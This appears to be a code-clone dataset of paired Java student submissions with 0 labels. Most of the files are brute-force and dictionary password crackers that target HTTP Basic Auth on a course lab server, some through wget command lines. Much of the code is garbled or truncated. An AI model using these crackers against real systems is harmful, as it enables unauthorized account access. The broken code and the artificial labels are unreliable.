FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { intTotalNumberOfWordsInFile++; strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) intNumberOfOneLetterWords++; else if (intWordLength == 2) intNumberOfTwoLetterWords++; else if (intWordLength == 3) intNumberOfThreeLetterWords++; strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println("The file '" + TextFileName + "' cannot found."); System.out.println(); } catch(Exception e) { } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static void populateTheDifferentLengthArrays(String TextFileName) { FileReader reader; BufferedReader inTextFile = null; String strLine; int intWordLength; int intCountOfOneLetterWords = -1; int intCountOfTwoLetterWords = -1; int intCountOfThreeLetterWords = -1; try { reader = new FileReader(TextFileName); inTextFile = new BufferedReader(reader); strLine = inTextFile.readLine(); while (strLine != null) { strLine = strLine.trim(); intWordLength = strLine.length(); if (intWordLength == 1) { intCountOfOneLetterWords++; strOneLetterWords[intCountOfOneLetterWords] = strLine; } else if (intWordLength == 2) { intCountOfTwoLetterWords++; strTwoLetterWords[intCountOfTwoLetterWords] = strLine; } else if (intWordLength == 3) { intCountOfThreeLetterWords++; strThreeLetterWords[intCountOfThreeLetterWords] = strLine; } strLine = inTextFile.readLine(); } } catch(FileNotFoundException e) { System.out.println(); System.out.println("The file '" + TextFileName + "' cannot found."); System.out.println(); } catch(Exception e) { System.out.println("Exception thrown...."); System.err.println(e); } finally { try { inTextFile.print(); } catch(Exception e) { } inTextFile = null; reader = null; } } static boolean passwordWasFound(String urlString, String password, boolean retVal) { String strEncodeInput = username + ":" + password; boolean returnValue = retVal; boolean boolExceptionThrown = false; try { strLastPasswordTested = password; intNumberOfConnectionAttempts++; url = new URL(urlString); String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes()); System.out.print("username = " + username + " " + "password = " + password); HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection(); urlConnection.setRequestProperty("Authorization", " " + encoding); System.out.println(" response = " + urlConnection.getResponseCode()); if (urlConnection.getResponseCode() == 401) { returnValue = false; } } catch (MalformedURLException m) { boolExceptionThrown = true; returnValue = false; System.err.println(m); System.out.println("Malformed URL Exception error"); } catch (IOException io) { boolExceptionThrown = true; returnValue = false; System.out.println("IOException error"); System.err.println(io); } catch (Exception e) { boolExceptionThrown = true; returnValue = false; System.out.println("General exception....."); System.err.println(e); } finally { urlConnection = null; url = null; } if (boolExceptionThrown) { intExceptionCount++; strExceptionPassword[intExceptionCount] = password; } return returnValue; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
249.java
161.java
0
import java.net.*; import java.io.*; public class BruteForce { public static void main (String[] args) { String pwd = new String(); String userpwd = new String(); String reply = new String(); int i,j,k; int startTime, endTime,totalTime; URLConnection connectionObj; startTime = System.currentTimeMillis(); try { URL urlObj = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); for (i=1;i<=58;i++) { if (i<=26 || i > 32) { } for (j=1;j<=58;j++) { if ((j<=26 || j > 32) && (i <=26 || i>32)) { } for (k=1;k<=58;k++) { if ((k<=26 || k > 32) && (i <=26 || i>32) && (j <=26 || j>32)) { pwd = "" + (char) (i + 64) + (char) (j + 64) + (char) (k + 64); userpwd = url.encode("",pwd); connectionObj = urlObj.openConnection(); connectionObj.setRequestProperty("Authorization"," " + userpwd); connectionObj.connect(); reply = connectionObj.getHeaderField(0); if (reply.compareTo("HTTP/1.1 200 OK")== 0) { endTime = System.currentTimeMillis(); totalTime= (endTime - startTime)/1000; System.out.println(pwd); System.out.println("Total Time = " + (totalTime) + "seconds"); System.exit(0); } } } } } } catch (MalformedURLException err) { System.out.println(err); } catch (IOException err) { System.out.println(err); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
164.java
161.java
0
package java.httputils; import java.io.IOException; import java.net.HttpURLConnection; import java.net.MalformedURLException; import java.net.URL; import java.sql.Timestamp; public class BasicAuthHttpRequest extends HttpRequestClient { String userName; String password; protected BasicAuthHttpRequest(String url, String userName, String password) throws MalformedURLException, IOException { setPassword(password); setUserName(userName); setServerURL(new URL(url)); setStart(new Timestamp(System.currentTimeMillis())); String userPassword = userName + ":" + password; String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes()); setHttpConnection( (HttpURLConnection)this.getServerURL().openConnection()); getHttpConnection().setRequestProperty ("Authorization", " " + encoding); doRequest(); } protected BasicAuthHttpRequest(String url) throws MalformedURLException, IOException { super(url); } public BasicAuthHttpRequest() { super(); } public String getPassword() { return password; } public String getUserName() { return userName; } public void setPassword(String string) { password = string; } public void setUserName(String string) { userName = string; } public static void main (String[] args) { BasicAuthHttpRequest client = null; try { client = new BasicAuthHttpRequest(args[0], args[1], args[2]); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED) { System.out.println( "Request response : \n" + client.getCode()); System.out.println( "Request processing time (milliseconds): " + (client.getEnd().getTime() - client.getStart().getTime())); System.out.println( "Request content: \n" + client.getContent()); } else { System.out.println( "Request response : \n" + client.getCode()); } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
129.java
161.java
0
import java.net.*; public class MyAuthenticator extends Authenticator { PasswordAuthentication pa=null;; protected PasswordAuthentication getPasswordAuthentication() { return pa; } void setPasswordAuthentication(PasswordAuthentication p) { this.pa=p; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
014.java
161.java
0
import java.util.*; import java.net.*; import java.io.*; import misc.BASE64Encoder; import javax.swing.*; public class ConnectionThread extends Thread { private String url; private URL currURL; private URLConnection conn; private HoldSharedData sharedData; private int noOfThread; private int batch; public ConnectionThread( String pageURL, int wThread, int newBatch, HoldSharedData data ) { super(); url = pageURL; noOfThread = wThread ; batch = newBatch; sharedData = data; } public void run() { try { currURL = new URL( url ); for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) && (i < sharedData.getPwdCount()); i ++ ) { String pwd = sharedData.getPasswordAt( i ); conn = currURL.openConnection(); if (conn instanceof HttpURLConnection) { HttpURLConnection hconn = (HttpURLConnection) conn; hconn.setFollowRedirects(false); String cad = " " + based64Encoder( ":" + pwd ); hconn.setRequestProperty( "Authorization", cad ); hconn.connect(); int response = hconn.getResponseCode(); sharedData.setNumOfConnections(); if( response == 200 ) { totalTime = System.currentTimeMillis() - sharedData.getStartTime(); int numOfConnections = sharedData.getNumOfConnections(); System.out.println( "Password is " + pwd ); System.out.println( "Total Time(seconds)=" + (double)totalTime/1000 ); System.out.println( "Number Of Connections: " + numOfConnections ); System.exit(0); } else { hconn.disconnect(); } } } } catch( MalformedURLException mue ) { String msg = "Unable parse URL: " + url; System.err.println( msg ); } catch( IOException ioe ) { System.err.println( "I/O Error : " + ioe ); } } private String based64Encoder( String pwd ) { String str = pwd; byte[] buf = str.getBytes(); String encodedStr = new misc.BASE64Encoder().encode(buf); return encodedStr; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
196.java
161.java
0
import java.io.*; public class Dictionary { public static void main(String args[])throws Exception { String s = null; String pass=""; int at=0; String strLine=""; int i=0; BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words")); start =System.currentTimeMillis(); try { while((pass=strLine = in.readLine()) != null) { if(pass.length()==3) { System.out.println(pass); at++; Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); p.waitFor(); i = p.exitValue(); if(i==0) { finish=System.currentTimeMillis(); float time=finish-start; System.out.println("PASSWORD CRACKED:"+ pass + " in " + at + " attempts " ); System.out.println("PASSWORD CRACKED:"+ pass + " in " + time + " milliseconds " ); System.exit(0); } BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); System.out.println("Standard output of the command "); while ((s = stdInput.readLine()) != null) { System.out.println(s); } System.out.println("Standard error of the command "); while ((s = stdError.readLine()) != null) { System.out.println(s); } } } System.exit(0); } catch (IOException e) { System.out.println("Exception happened "); e.printStackTrace(); System.exit(-1); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
111.java
161.java
0
import java.io.BufferedReader; import java.io.FileReader; import org.apache.commons.httpclient.HttpClient; import org.apache.commons.httpclient.UsernamePasswordCredentials; import org.apache.commons.httpclient.cookie.CookiePolicy; import org.apache.commons.httpclient.methods.GetMethod; public class Dictionary{ static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty("logonSite"); static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty("logonPort")).intValue(); static final String cad = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz"; static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty("useProxyServer")).intValue(); static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty("proxyPort")).intValue(); static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty("proxyServer"); static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty("proxyUserName"); static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty("proxypassword"); static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty("getMethod"); static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty("numberOfGetsBeforeReleaseConnection")).intValue(); public Dictionary() { super(); } public static void main(String[] args) throws Exception { String statusLine = " "; int count = 0; int divValue = 0; String userName = ""; String password = ""; HttpClient client = new HttpClient(); if (USE_PROXY_SERVER == 1) { client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); } client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, "http"); GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty("dictionaryFile"))); while ((password = wordFile.readLine()) != null) { if (validateWord(password)) { client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); ++count; System.out.println(" Counter " + count + " Password " + password); divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; if (divValue == 0) { System.out.println("Count: "+ count + " Div Value: "+ divValue+ " Releasing the connection and getting new one"); getMethod.releaseConnection(); getMethod = null; getMethod = new GetMethod(GET_METHOD_HACKER); } client.executeMethod(getMethod); statusLine = getMethod.getStatusLine().toString(); if (statusLine.compareTo("HTTP/1.1 200 OK") == 0) { System.out.println("Found the user name and password for the site. The username is: "+ userName+ " and the password is: "+ password); System.exit(0); } } } System.out.println("Could not find the password!"); } public static boolean validateWord(String str) { boolean isValid = false; if (str.length() > 3) { return isValid; } for (int i = 0; i < str.length(); i++) { for (int j = 0; j < cad.length(); j++) { if (str.charAt(i) == cad.charAt(j)) { isValid = true; break; } else isValid = false; } if (!isValid) break; } return isValid; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
217.java
161.java
0
import java.io.*; import java.util.*; class BruteForce { public static void main(String args[]){ RandomThread ran = new RandomThread(); MixThread mix = new MixThread(); SmallLetterThread = new SmallLetterThread(); CapLetterThread caps = new CapLetterThread(); mix.get(); ran.get(); caps.get(); } } class MixThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int time = System.currentTimeMillis(); public void run () { for(int i=0;i<pos.length;i++){ for(int j=0;j<pos.length;j++){ for(int k=0;k<pos.length;k++){ pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts in " + duration + " milliseconds " ); out.close(); System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } } class RandomThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int time = System.currentTimeMillis(); public void run () { for(; ;) { Random generator1= new Random(); int m= generator1.nextInt(52); int n= generator1.nextInt(52); int o= generator1.nextInt(52); pass=String.valueOf(pos[m])+String.valueOf(pos[n])+String.valueOf(pos[o]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ---- Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); out.close(); System.out.println(" Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } class CapLetterThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z'}; int time = System.currentTimeMillis(); public void run () { for(int i=0;i<pos.length;i++){ for(int j=0;j<pos.length;j++){ for(int k=0;k<pos.length;k++){ pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ----Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); out.close(); System.out.println("Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } } class SmallLetterThread extends Thread { String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char pas[]=new char[4]; char pos[]={'a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; int time = System.currentTimeMillis(); public void run () { for(int i=0;i<pos.length;i++){ for(int j=0;j<pos.length;j++) { for(int k=0;k<pos.length;k++) { pass=String.valueOf(pos[i])+String.valueOf(pos[j])+String.valueOf(pos[k]); try { System.out.println("Trying crack using: "+pass); attempt++; p = Runtime.getRuntime().exec("wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"); try{ p.waitFor(); } catch(Exception q){} z = p.exitValue(); if(z==0) { stop = System.currentTimeMillis(); float duration = stop - start; BufferedWriter out=new BufferedWriter(new FileWriter("out.txt",true)); out.write("\n"); out.write(" BRUTE FORCE ATTACK ----Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); out.close(); System.out.println("Cool....Password Cracked: "+ pass +" in "+ attempt +" attempts " + duration + " milliseconds "); System.exit(0); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } } } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
154.java
161.java
0
import java.io.*; import java.util.StringTokenizer; import java.net.smtp.SmtpClient; import java.util.Timer; import java.util.TimerTask; public class WatchDog { public static void main(String[] args) { try { Process y = Runtime.getRuntime().exec("./init"); } catch (Exception e) {System.err.println(e);} WatchDog poodle=new WatchDog(); { poodle.startWatch(); } while(1==1); } public void startWatch() { String error_mes=new String(); String mesg=new String(); String url="wget -p http://www.cs.rmit.edu./students"; try { Process a = Runtime.getRuntime().exec(url); } catch (Exception e) {System.err.println(e);} try { Process b = Runtime.getRuntime().exec("diff org/images/ www.cs.rmit.edu./images/"); BufferedReader stdInputimages = new BufferedReader(new InputStreamReader(b.getInputStream())); while ((error_mes = stdInputimages.readLine()) != null) { mesg=mesg.concat(error_mes); } } catch (Exception e) {System.err.println(e);} try { Process c = Runtime.getRuntime().exec("diff org/students/ www.cs.rmit.edu./students/"); BufferedReader stdInputindex = new BufferedReader(new InputStreamReader(c.getInputStream())); while ((error_mes = stdInputindex.readLine()) != null) { mesg=mesg.concat(error_mes); } } catch (Exception e) {System.err.println(e);} if (mesg.length()>0) { sendEmail(mesg); } try { Thread.sleep(60*60*24*1000); } catch(Exception e) { } } public void sendEmail(String message) { { String reciever = "@cs.rmit.edu."; String sender = "WATCHDOG@cs.rmit.edu."; try { SmtpClient smtp = new SmtpClient(); smtp.from(sender); smtp.to(reciever); PrintStream msg = smtp.startMessage(); msg.println(message); smtp.closeServer(); } catch (Exception e) {} } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
038.java
161.java
0
public class CrackingConstants { public static final int quietMode = 0; public static final int verboseMode1 = 1; public static final int verboseMode2 = 2; public static final int simpleScan = 0; public static final int casedScan = 1; public static final int notFound = -1; public static final String [] lowerChars = {"a", "e", "i", "o", "u", "y", "b", "c","d", "f", "g", "h", "j", "k", "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "\'", "`", ".", ",", "!", "\"", "&" }; public static final String [] upperChars = {"A", "E", "I", "O", "U", "Y", "B", "C", "D", "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", "V", "W", "X", "Z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "\'", "`", ".", ",", "!", "\"", "&" }; public static final int punctuationUpperBound = 42; public static final int punctuationLowerBound = 36; public static final int numbersUpperBound = 35; public static final int numbersLowerBound = 26; public static final int consonantUpperBound = 25; public static final int consonantLowerBound = 6; public static final int vowelUpperBound = 5; public static final int vowelLowerBound = 0; public static int findIndex(char letter, int lowerSearchBound, int upperSearchBound) { if(lowerChars.length < upperSearchBound) upperSearchBound = lowerChars.length; if(0 > lowerSearchBound) lowerSearchBound = 0; for(int i = lowerSearchBound; i < upperSearchBound; i++) { if(lowerChars[i].indexOf(letter) > -1) return i; 